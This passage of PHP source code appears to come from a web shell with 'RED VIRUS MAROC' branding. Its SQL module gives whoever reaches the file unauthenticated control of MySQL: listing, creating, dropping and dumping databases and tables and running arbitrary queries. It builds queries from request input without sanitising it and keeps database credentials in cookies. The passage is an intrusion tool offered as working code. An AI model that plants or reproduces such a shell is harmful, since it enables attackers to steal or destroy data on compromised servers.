            echo '<font color="red" size="3"></font><font color="green" size="5"><center>

<font color="Blue" size="3"</font><font color=Green face=Verdana size=-2>' . $ipp . '</font>

<font color=white face=Verdana size=-2>  ==> </font> <font color=Green face=Verdana size=-2>' . gethostbyname($ipp) . '</font></center></font>';
        }
    }
}
///////////////////////////////////// sql ///////////////////////////////////////
if ($_GET['tha'] == 'sql') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?php 
    if (function_exists('ini_get')) {
        $onoff = ini_get('register_globals');
    } else {
        $onoff = get_cfg_var('register_globals');
    }
    if ($onoff != 1) {
        @extract($HTTP_SERVER_VARS, EXTR_SKIP);
        @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
        @extract($HTTP_POST_FILES, EXTR_SKIP);
        @extract($HTTP_POST_VARS, EXTR_SKIP);
        @extract($HTTP_GET_VARS, EXTR_SKIP);
        @extract($HTTP_ENV_VARS, EXTR_SKIP);
    }
    function logon()
    {
        global $PHP_SELF;
        setcookie("mysql_web_admin_username");
        setcookie("mysql_web_admin_password");
        setcookie("mysql_web_admin_hostname");
        echo "<html>\n";
        echo "<head>\n";
        echo "</head>\n";
        echo "<body>\n";
        echo "<table width=100% height=100%><tr><td><center>\n";
        echo "<table cellpadding=2><tr><td bgcolor=black><center>\n";
        echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
        echo "<font size=5 color=red>SQL DB BY RED VIRUS MAROC </font>\n";
        echo "<form action='{$PHP_SELF}'>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=logon_submit>\n";
        echo "<table cellpadding=5 cellspacing=1>\n";
        echo "<tr><td><font color=red>Hostname </font></td><td> <input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=hostname value='localhost'></td></tr>\n";
        echo "<tr><td><font color=red>Username </font></td><td> <input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=username></td></tr>\n";
        echo "<tr><td><font color=red>Password </font> </td><td> <input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=password name=password></td></tr>\n";
        echo "</table><p>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Enter'>\n <br>";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=reset value='Clear'><br>\n <br>";
        echo "</form>\n";
        echo "</center></td></tr></table>\n";
        echo "</center></td></tr></table>\n";
        echo "<p><hr width=300>\n";
        echo "</center></td></tr></table>\n";
        echo "</body>\n";
        echo "</html>\n";
    }
    function logon_submit()
    {
        global $username, $password, $hostname, $PHP_SELF;
        if ($hostname == '') {
            $hostname = 'localhost';
        }
        setcookie("mysql_web_admin_username", $username);
        setcookie("mysql_web_admin_password", $password);
        setcookie("mysql_web_admin_hostname", $hostname);
        echo "<html>";
        echo "<head>";
        echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL={$PHP_SELF}?action=listDBs'>";
        echo "</head>";
        echo "</html>";
    }
    function echoQueryResult()
    {
        global $queryStr, $errMsg;
        if ($errMsg == "") {
            $errMsg = "Success";
        }
        if ($queryStr != "") {
            echo "<table cellpadding=5>\n";
            echo "<tr><td>Query</td><td>{$queryStr}</td></tr>\n";
            echo "<tr><td>Result</td><td>{$errMsg}</td></tr>\n";
            echo "</table><p>\n";
        }
    }
    function listDatabases()
    {
        global $mysqlHandle, $PHP_SELF;
        echo "<h1>Databases List</h1>\n";
        echo "<form action='{$PHP_SELF}'>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=createDB>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=dbname>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Create Database'>\n";
        echo "</form>\n";
        echo "<hr>\n";
        echo "<table cellspacing=1 cellpadding=5>\n";
        $pDB = mysql_list_dbs($mysqlHandle);
        $num = mysql_num_rows($pDB);
        for ($i = 0; $i < $num; $i++) {
            $dbname = mysql_dbname($pDB, $i);
            echo "<tr>\n";
            echo "<td>{$dbname}</td>\n";
            echo "<td><a href='{$PHP_SELF}?action=listTables&dbname={$dbname}'>Tables</a></td>\n";
            echo "<td><a href='{$PHP_SELF}?action=dropDB&dbname={$dbname}' onClick=\"return confirm('Drop Database \\'{$dbname}\\'?')\">Drop</a></td>\n";
            echo "<td><a href='{$PHP_SELF}?action=dumpDB&dbname={$dbname}' onClick=\"return confirm('Dump Database \\'{$dbname}\\'?')\">Dump</a></td>\n";
            echo "</tr>\n";
        }
        echo "</table>\n";
    }
    function createDatabase()
    {
        global $mysqlHandle, $dbname, $PHP_SELF;
        mysql_create_db($dbname, $mysqlHandle);
        listDatabases();
    }
    function dropDatabase()
    {
        global $mysqlHandle, $dbname, $PHP_SELF;
        mysql_drop_db($dbname, $mysqlHandle);
        listDatabases();
    }
    function listTables()
    {
        global $mysqlHandle, $dbname, $PHP_SELF;
        echo "<h1>Tables List</h1>\n";
        echo "<p class=location>{$dbname}</p>\n";
        echoQueryResult();
        echo "<form action='{$PHP_SELF}'>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=createTable>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value={$dbname}>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=tablename>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Create Table'>\n";
        echo "</form>\n";
        echo "<form action='{$PHP_SELF}'>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=query>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value={$dbname}>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text size=120 name=queryStr>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Query'>\n";
        echo "</form>\n";
        echo "<hr>\n";
        $pTable = mysql_list_tables($dbname);
        if ($pTable == 0) {
            $msg = mysql_error();
            echo "<h3>Error : {$msg}</h3><p>\n";
            return;
        }
        $num = mysql_num_rows($pTable);
        echo "<table cellspacing=1 cellpadding=5>\n";
        for ($i = 0; $i < $num; $i++) {
            $tablename = mysql_tablename($pTable, $i);
            echo "<tr>\n";
            echo "<td>\n";
            echo "{$tablename}\n";
            echo "</td>\n";
            echo "<td>\n";
            echo "<a href='{$PHP_SELF}?action=viewSchema&dbname={$dbname}&tablename={$tablename}'>Schema</a>\n";
            echo "</td>\n";
            echo "<td>\n";
            echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}'>Data</a>\n";
            echo "</td>\n";
            echo "<td>\n";
            echo "<a href='{$PHP_SELF}?action=dropTable&dbname={$dbname}&tablename={$tablename}' onClick=\"return confirm('Drop Table \\'{$tablename}\\'?')\">Drop</a>\n";
            echo "</td>\n";
            echo "<td>\n";
            echo "<a href='{$PHP_SELF}?action=dumpTable&dbname={$dbname}&tablename={$tablename}' onClick=\"return confirm('Dump Table \\'{$tablename}\\'?')\">Dump</a>\n";
            echo "</td>\n";
            echo "</tr>\n";
        }
        echo "</table>";
    }
    function createTable()
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
        $queryStr = "CREATE TABLE {$tablename} ( no INT )";
        mysql_select_db($dbname, $mysqlHandle);
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        listTables();
    }
    function dropTable()
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
        $queryStr = "DROP TABLE {$tablename}";
        mysql_select_db($dbname, $mysqlHandle);
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        listTables();
    }
    function viewSchema()
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
        echo "<h1>Table Schema</h1>\n";
        echo "<p class=location>{$dbname} &gt; {$tablename}</p>\n";
        echoQueryResult();
        echo "<a href='{$PHP_SELF}?action=addField&dbname={$dbname}&tablename={$tablename}'>Add Field</a> | \n";
        echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}'>View Data</a>\n";
        echo "<hr>\n";
        $pResult = mysql_db_query($dbname, "SHOW fields FROM {$tablename}");
        $num = mysql_num_rows($pResult);
        echo "<table cellspacing=1 cellpadding=5>\n";
        echo "<tr>\n";
        echo "<th>Field</th>\n";
        echo "<th>Type</th>\n";
        echo "<th>Null</th>\n";
        echo "<th>Key</th>\n";
        echo "<th>Default</th>\n";
        echo "<th>Extra</th>\n";
        echo "<th colspan=2>Action</th>\n";
        echo "</tr>\n";
        for ($i = 0; $i < $num; $i++) {
            $field = mysql_fetch_array($pResult);
            echo "<tr>\n";
            echo "<td>" . $field["Field"] . "</td>\n";
            echo "<td>" . $field["Type"] . "</td>\n";
            echo "<td>" . $field["Null"] . "</td>\n";
            echo "<td>" . $field["Key"] . "</td>\n";
            echo "<td>" . $field["Default"] . "</td>\n";
            echo "<td>" . $field["Extra"] . "</td>\n";
            $fieldname = $field["Field"];
            echo "<td><a href='{$PHP_SELF}?action=editField&dbname={$dbname}&tablename={$tablename}&fieldname={$fieldname}'>Edit</a></td>\n";
            echo "<td><a href='{$PHP_SELF}?action=dropField&dbname={$dbname}&tablename={$tablename}&fieldname={$fieldname}' onClick=\"return confirm('Drop Field \\'{$fieldname}\\'?')\">Drop</a></td>\n";
            echo "</tr>\n";
        }
        echo "</table>\n";
    }
    function manageField($cmd)
    {
        global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
        if ($cmd == "add") {
            echo "<h1>Add Field</h1>\n";
        } else {
            if ($cmd == "edit") {
                echo "<h1>Edit Field</h1>\n";
                $pResult = mysql_db_query($dbname, "SHOW fields FROM {$tablename}");
                $num = mysql_num_rows($pResult);
                for ($i = 0; $i < $num; $i++) {
                    $field = mysql_fetch_array($pResult);
                    if ($field["Field"] == $fieldname) {
                        $fieldtype = $field["Type"];
                        $fieldkey = $field["Key"];
                        $fieldextra = $field["Extra"];
                        $fieldnull = $field["Null"];
                        $fielddefault = $field["Default"];
                        break;
                    }
                }
                $type = strtok($fieldtype, " (,)\n");
                if (strpos($fieldtype, "(")) {
                    if ($type == "enum" | $type == "set") {
                        $valuelist = strtok(" ()\n");
                    } else {
                        $M = strtok(" (,)\n");
                        if (strpos($fieldtype, ",")) {
                            $D = strtok(" (,)\n");
                        }
                    }
                }
            }
        }
        echo "<p class=location>{$dbname} &gt; {$tablename}</p>\n";
        echo "<form action={$PHP_SELF}>\n";
        if ($cmd == "add") {
            echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=addField_submit>\n";
        } else {
            if ($cmd == "edit") {
                echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=editField_submit>\n";
                echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=old_name value={$fieldname}>\n";
            }
        }
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value={$dbname}>\n";
        echo "<input \r\n type=hidden name=tablename value={$tablename}>\n";
        echo "<h3>Name</h3>\n";
        echo "<input  type=text name=name value={$fieldname}><p>\n";
        echo "\r\n\r\n<h3>Type</h3>\r\n\r\n<font size=2>\r\n* `M' indicates the maximum display size.<br>\r\n* `D' applies to floating-point types and indicates the number of digits following the decimal point.<br>\r\n</font>\r\n\r\n<table>\r\n<tr>\r\n<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYINT\" ";
        if ($type == "tinyint") {
            echo "checked";
        }
        echo ">TINYINT (-128 ~ 127)</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input   type=radio name=type value=\"SMALLINT\" ";
        if ($type == "smallint") {
            echo "checked";
        }
        echo ">SMALLINT (-32768 ~ 32767)</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMINT\" ";
        if ($type == "mediumint") {
            echo "checked";
        }
        echo ">MEDIUMINT (-8388608 ~ 8388607)</td>\r\n\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"INT\" ";
        if ($type == "int") {
            echo "checked";
        }
        echo ">INT (-2147483648 ~ 2147483647)</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"BIGINT\" ";
        if ($type == "bigint") {
            echo "checked";
        }
        echo ">BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"FLOAT\" ";
        if ($type == "float") {
            echo "checked";
        }
        echo ">FLOAT</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DOUBLE\" ";
        if ($type == "double") {
            echo "checked";
        }
        echo ">DOUBLE</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DECIMAL\" ";
        if ($type == "decimal") {
            echo "checked";
        }
        echo ">DECIMAL(NUMERIC)</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DATE\" ";
        if ($type == "date") {
            echo "checked";
        }
        echo ">DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DATETIME\" ";
        if ($type == "datetime") {
            echo "checked";
        }
        echo ">DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TIMESTAMP\" ";
        if ($type == "timestamp") {
            echo "checked";
        }
        echo ">TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TIME\" ";
        if ($type == "time") {
            echo "checked";
        }
        echo ">TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"YEAR\" ";
        if ($type == "year") {
            echo "checked";
        }
        echo ">YEAR (1901 ~ 2155, 0000, YYYY)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"CHAR\" ";
        if ($type == "char") {
            echo "checked";
        }
        echo ">CHAR</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"VARCHAR\" ";
        if ($type == "varchar") {
            echo "checked";
        }
        echo ">VARCHAR</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYTEXT\" ";
        if ($type == "tinytext") {
            echo "checked";
        }
        echo ">TINYTEXT (0 ~ 255)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TEXT\" ";
        if ($type == "text") {
            echo "checked";
        }
        echo ">TEXT (0 ~ 65535)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMTEXT\" ";
        if ($type == "mediumtext") {
            echo "checked";
        }
        echo ">MEDIUMTEXT (0 ~ 16777215)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"LONGTEXT\" ";
        if ($type == "longtext") {
            echo "checked";
        }
        echo ">LONGTEXT (0 ~ 4294967295)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYBLOB\" ";
        if ($type == "tinyblob") {
            echo "checked";
        }
        echo ">TINYBLOB (0 ~ 255)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"BLOB\" ";
        if ($type == "blob") {
            echo "checked";
        }
        echo ">BLOB (0 ~ 65535)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMBLOB\" ";
        if ($type == "mediumblob") {
            echo "checked";
        }
        echo ">MEDIUMBLOB (0 ~ 16777215)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"LONGBLOB\" ";
        if ($type == "longblob") {
            echo "checked";
        }
        echo ">LONGBLOB (0 ~ 4294967295)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr> \r\n<tr>\r\n<td><input type=radio name=type value=\"ENUM\" ";
        if ($type == "enum") {
            echo "checked";
        }
        echo ">ENUM</td>\r\n<td colspan=5><center>value list</center></td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"SET\" ";
        if ($type == "set") {
            echo "checked";
        }
        echo ">SET</td>\r\n<td colspan=5><center>value list</center></td>\r\n</tr>\r\n\r\n</table>\r\n<table>\r\n<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: 'apple', 'orange', 'banana') </th></tr>\r\n<tr>\r\n<td align=center><input type=text size=4 name=M ";
        if ($M != "") {
            echo "value={$M}";
        }
        echo "></td>\r\n<td align=center><input type=text size=4 name=D ";
        if ($D != "") {
            echo "value={$D}";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=unsigned value=\"UNSIGNED\" ";
        if (strpos($fieldtype, "unsigned")) {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=zerofill value=\"ZEROFILL\" ";
        if (strpos($fieldtype, "zerofill")) {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=binary value=\"BINARY\" ";
        if (strpos($fieldtype, "binary")) {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=text size=60 name=valuelist ";
        if ($valuelist != "") {
            echo "value=\"{$valuelist}\"";
        }
        echo "></td>\r\n</tr>\r\n</table>\r\n\r\n\r\n<h3>Flags</h3>\r\n<table>\r\n<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>\r\n<tr>\r\n<td align=center><input type=checkbox name=not_null value=\"NOT NULL\" ";
        if ($fieldnull != "YES") {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=text name=default_value ";
        if ($fielddefault != "") {
            echo "value={$fielddefault}";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=auto_increment value=\"AUTO_INCREMENT\" ";
        if ($fieldextra == "auto_increment") {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=primary_key value=\"PRIMARY KEY\" ";
        if ($fieldkey == "PRI") {
            echo "checked";
        }
        echo "></td>\r\n</tr>\r\n</table>\r\n\r\n<p>";
        if ($cmd == "add") {
            echo "<input type=submit value='Add Field'>\n";
        } else {
            if ($cmd == "edit") {
                echo "<input type=submit value='Edit Field'>\n";
            }
        }
        echo "<input type=button value=Cancel onClick='history.back()'>\n";
        echo "</form>\n";
    }
    function manageField_submit($cmd)
    {
        global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg, $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
        if ($cmd == "add") {
            $queryStr = "ALTER TABLE {$tablename} ADD {$name} ";
        } else {
            if ($cmd == "edit") {
                $queryStr = "ALTER TABLE {$tablename} CHANGE {$old_name} {$name} ";
            }
        }
        if ($M != "") {
            if ($D != "") {
                $queryStr .= "{$type}({$M},{$D}) ";
            } else {
                $queryStr .= "{$type}({$M}) ";
            }
        } else {
            if ($valuelist != "") {
                $valuelist = stripslashes($valuelist);
                $queryStr .= "{$type}({$valuelist}) ";
            } else {
                $queryStr .= "{$type} ";
            }
        }
        $queryStr .= "{$unsigned} {$zerofill} {$binary} ";
        if ($default_value != "") {
            $queryStr .= "DEFAULT '{$default_value}' ";
        }
        $queryStr .= "{$not_null} {$auto_increment}";
        mysql_select_db($dbname, $mysqlHandle);
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        // key change
        $keyChange = false;
        $result = mysql_query("SHOW KEYS FROM {$tablename}");
        $primary = "";
        while ($row = mysql_fetch_array($result)) {
            if ($row["Key_name"] == "PRIMARY") {
                if ($row[Column_name] == $name) {
                    $keyChange = true;
                } else {
                    $primary .= ", {$row['Column_name']}";
                }
            }
        }
        if ($primary_key == "PRIMARY KEY") {
            $primary .= ", {$name}";
            $keyChange = !$keyChange;
        }
        $primary = substr($primary, 2);
        if ($keyChange == true) {
            $q = "ALTER TABLE {$tablename} DROP PRIMARY KEY";
            mysql_query($q);
            $queryStr .= "<br>\n" . $q;
            $errMsg .= "<br>\n" . mysql_error();
            $q = "ALTER TABLE {$tablename} ADD PRIMARY KEY( {$primary} )";
            mysql_query($q);
            $queryStr .= "<br>\n" . $q;
            $errMsg .= "<br>\n" . mysql_error();
        }
        viewSchema();
    }
    function dropField()
    {
        global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
        $queryStr = "ALTER TABLE {$tablename} DROP COLUMN {$fieldname}";
        mysql_select_db($dbname, $mysqlHandle);
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        viewSchema();
    }
    function viewData($queryStr)
    {
        global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
        echo "<h1>Data in Table</h1>\n";
        if ($tablename != "") {
            echo "<p class=location>{$dbname} &gt; {$tablename}</p>\n";
        } else {
            echo "<p class=location>{$dbname}</p>\n";
        }
        $queryStr = stripslashes($queryStr);
        if ($queryStr == "") {
            $queryStr = "SELECT * FROM {$tablename}";
            if ($orderby != "") {
                $queryStr .= " ORDER BY {$orderby}";
            }
            echo "<a href='{$PHP_SELF}?action=addData&dbname={$dbname}&tablename={$tablename}'>Add Data</a> | \n";
            echo "<a href='{$PHP_SELF}?action=viewSchema&dbname={$dbname}&tablename={$tablename}'>Schema</a>\n";
        }
        $pResult = mysql_db_query($dbname, $queryStr);
        $fieldt = mysql_fetch_field($pResult);
        $tablename = $fieldt->table;
        $errMsg = mysql_error();
        $GLOBALS[queryStr] = $queryStr;
        if ($pResult == false) {
            echoQueryResult();
            return;
        }
        if ($pResult == 1) {
            $errMsg = "Success";
            echoQueryResult();
            return;
        }
        echo "<hr>\n";
        $row = mysql_num_rows($pResult);
        $col = mysql_num_fields($pResult);
        if ($row == 0) {
            echo "No Data Exist!";
            return;
        }
        if ($rowperpage == "") {
            $rowperpage = 30;
        }
        if ($page == "") {
            $page = 0;
        } else {
            $page = -1;
        }
        mysql_data_seek($pResult, $page * $rowperpage);
        echo "<table cellspacing=1 cellpadding=2>\n";
        echo "<tr>\n";
        for ($i = 0; $i < $col; $i++) {
            $field = mysql_fetch_field($pResult, $i);
            echo "<th>";
            if ($action == "viewData") {
                echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}&orderby=" . $field->name . "'>" . $field->name . "</a>\n";
            } else {
                echo "<font\tstyle='text-decoration:none;color:#000000;font-size:x-small;'>" . $field->name . "</font>\n";
            }
            echo "</th>\n";
        }
        echo "<th colspan=2>Action</th>\n";
        echo "</tr>\n";
        for ($i = 0; $i < $rowperpage; $i++) {
            $rowArray = mysql_fetch_row($pResult);
            if ($rowArray == false) {
                break;
            }
            echo "<tr>\n";
            $key = "";
            for ($j = 0; $j < $col; $j++) {
                $data = $rowArray[$j];
                $field = mysql_fetch_field($pResult, $j);
                if ($field->primary_key == 1) {
                    $key .= "&" . $field->name . "=" . $data;
                }
                if (strlen($data) > 30) {
                    $data = substr($data, 0, 30) . "...";
                }
                $data = htmlspecialchars($data);
                echo "<td>\n";
                echo "{$data}\n";
                echo "</td>\n";
            }
            if ($key == "") {
                echo "<td colspan=2>no Key</td>\n";
            } else {
                echo "<td><a href='{$PHP_SELF}?action=editData{$key}&dbname={$dbname}&tablename={$tablename}'>Edit</a></td>\n";
                echo "<td><a href='{$PHP_SELF}?action=deleteData{$key}&dbname={$dbname}&tablename={$tablename}' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
            }
            echo "</tr>\n";
        }
        echo "</table>\n";
        echo "<font size=2>\n";
        if ($action == "viewData") {
            echo "<form action='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}' method=post>\n";
        } else {
            echo "<form action='{$PHP_SELF}?action=query&dbname={$dbname}&tablename={$tablename}&queryStr={$queryStr}' method=post>\n";
        }
        echo "<font color=green>\n";
        echo $page + 1 . "/" . (int) ($row / $rowperpage + 1) . " page";
        echo "</font>\n";
        echo " | ";
        if ($page > 0) {
            if ($action == "viewData") {
                echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}&page=" . $page;
            } else {
                echo "<a href='{$PHP_SELF}?action=query&dbname={$dbname}&tablename={$tablename}&queryStr={$queryStr}&page=" . $page;
            }
            if ($orderby != "" && $action == "viewData") {
                echo "&orderby={$orderby}";
            }
            echo "'>Prev</a>\n";
        } else {
